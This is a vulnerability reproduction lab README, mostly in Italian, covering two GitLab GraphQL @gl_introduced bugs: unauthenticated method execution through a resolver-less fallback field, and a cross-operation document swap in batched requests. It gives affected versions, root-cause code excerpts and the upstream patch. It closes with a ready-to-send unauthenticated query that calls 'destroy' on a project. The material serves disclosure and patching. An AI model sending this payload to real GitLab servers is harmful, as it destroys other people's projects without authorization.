
Fornisce exploit PoC e analisi delle cause profonde per due vulnerabilità della direttiva `@gl_introduced` di GitLab GraphQL: esecuzione di metodi non autenticata e scambio di documenti in batch, con patch a monte ed evidenze dal vivo.
@gl_introducedUn laboratorio di riproduzione per due bug correlati nella funzionalità di filtro di versione (version-filter) GraphQL di GitLab (la direttiva @gl_introduced). Entrambi risiedono nella stessa area funzionale, sono corretti dalla stessa patch upstream ed entrambi consentono a una richiesta GraphQL di raggiungere percorsi di codice che non ha mai dichiarato:
destroy) sul modello dietro qualsiasi tipo GraphQL, semplicemente nominando un campo che non esiste e contrassegnandolo con @gl_introduced.| Versioni interessate | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Versioni corrette | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Target del lab | gitlab/gitlab-ce:19.2.2-ce.0 (ultima build prima della correzione) |
| Innesco | direttiva GraphQL @gl_introduced, da sola o all'interno di un batch |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Tutto ciò che si trova in src/ è sorgente upstream identica, mai reimplementata — il loader sovrappone src/vuln o src/patched sopra src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback consente a una query di riferire un campo che non esiste ancora su un tipo senza che la richiesta fallisca — pensato per i deployment rolling, dove lo schema di un nodo vecchio non ha ancora un campo che un nodo più recente già fornisce. Il suo override di get_field controlla se il campo richiesto manca e se la richiesta è contrassegnata con contain_future_fields; in tal caso restituisce un campo sintetico invece di generare un'eccezione:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
Il problema: questo GraphQL::Schema::Field viene costruito senza metodo resolver, senza classe resolver, senza blocco. A quel punto si applica la risoluzione dei campi predefinita di graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym è il nome del campo, in notazione underscore — cioè esattamente la stringa che l'attaccante ha inserito nella query. Se l'oggetto dietro al tipo GraphQL (il modello ActiveRecord) possiede un metodo pubblico reale, senza argomenti, con quel nome, graphql-ruby lo invoca e ne restituisce il risultato (convertito al tipo atteso). fallback_value: nil si applica solo quando il metodo non esiste davvero — non fa nulla per impedire che un metodo reale venga eseguito.
Quindi: interroga un qualsiasi tipo per un campo chiamato come un metodo distruttivo reale — per esempio destroy — contrassegnalo con @gl_introduced così che arrivi all'esecuzione, e il metodo viene eseguito.
IntroducedTracer implementa il resto della funzionalità di filtro di versione attraverso due hook di trace di graphql-ruby — parse (una volta per operazione) e execute_query (una volta per operazione). Nella build vulnerabile lo stato per-operazione viene archiviato in semplici variabili di istanza sull'oggetto trace:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
Il problema: graphql-ruby condivide UNA singola istanza del trace tra tutte le operazioni di una richiesta multiplex e le analizza tutte prima di eseguirne una qualsiasi. Quindi in un batch a due operazioni:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 trasporta un campo futuro @gl_introduced)Dopo il parsing, sopravvive solo lo stato dell'ultima operazione. Poi parte l'esecuzione:
execute_query(op1) → il flag è true, quindi il documento di op1 viene sovrascritto con op2_doc e ri-preparato → lo slot di op1 esegue l'operazione di op2.op1 aveva dichiarato una lettura; esegue la scrittura di op2.
patch-19.2.2-to-19.2.4.diff chiude entrambi:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Nessun header Authorization. Una sola operazione, nessun batch. destroy non è un campo reale di Project — non esiste affatto nello schema — ma la direttiva fa sì che FutureFieldFilter lo rimuova prima della validazione statica e attivi contain_future_fields per l'esecuzione, dove get_field restituisce un campo senza resolver chiamato destroy e graphql-ruby invoca project.public_send(:destroy).